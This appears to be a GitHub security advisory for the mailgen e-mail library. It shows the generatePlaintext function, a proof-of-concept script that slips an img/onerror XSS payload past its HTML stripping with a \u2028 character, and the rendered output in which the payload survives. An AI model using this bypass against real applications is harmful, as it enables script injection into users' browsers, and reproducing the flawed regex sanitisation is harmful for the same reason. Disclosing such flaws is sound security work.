GHSA-q4w9-x3rv-4c8j

// Plaintext text e-mail generator Mailgen.prototype.generatePlaintext = function (params) { // Plaintext theme not cached? if (!this.cachedPlaintextTheme) { throw new Error('An error was encountered while loading the plaintext theme.'); } // Parse email params and get back an object with data to inject var ejsParams = this.parseParams(params); // Render the plaintext theme with ejs, injecting the data accordingly var output = ejs.render(this.cachedPlaintextTheme, ejsParams); // Definition of the <br /> tag as a regex pattern var breakTag = /(?:\<br\s*\/?\>)/g; var breakTagPattern = new RegExp(breakTag); // Check the plaintext for html break tag, maintains backwards compatiblity if (breakTagPattern.test(this.cachedPlaintextTheme)) { // Strip all linebreaks from the rendered plaintext output = output.replace(/(?:\r\n|\r|\n)/g, ''); // Replace html break tags with linebreaks output = output.replace(breakTag, '\n'); // Remove plaintext theme indentation (tabs or spaces in the beginning of each line) output = output.replace(/^(?: |\t)*/gm, ""); } // Decode HTML entities such as &copy; output = he.decode(output); // Strip all HTML tags from plaintext output output = output.replace(/<(.|\n)+?>/g, ''); // All done! return output; };

var Mailgen = require('mailgen'); // Configure mailgen by setting a theme and your product info var mailGenerator = new Mailgen({ theme: 'default', product: { // Appears in header & footer of e-mails name: 'Mailgen', link: 'https://mailgen.js/' // Optional product logo // logo: 'https://mailgen.js/img/logo.png' } }); var email = { body: { name: 'John <img src=x onerror=alert(document.body.innerHTML)\u2028> Appleseed', intro: 'Welcome to Mailgen! We\'re very excited to have you on board.', action: { instructions: 'To get started with Mailgen, please click here:', button: { color: '#22BC66', // Optional action button color text: 'Confirm your account', link: 'secret-link' } }, outro: 'Need help, or have questions? Just reply to this email, we\'d love to help.' } }; var emailText = mailGenerator.generatePlaintext(email); require('fs').writeFileSync('emailText.html', emailText, 'utf8');

Hi John <img src=x onerror=alert(document.body.innerHTML) > Appleseed, Welcome to Mailgen! We're very excited to have you on board. To get started with Mailgen, please click here: secret-link Need help, or have questions? Just reply to this email, we'd love to help. Yours truly, Mailgen © 2025 Mailgen. All rights reserved.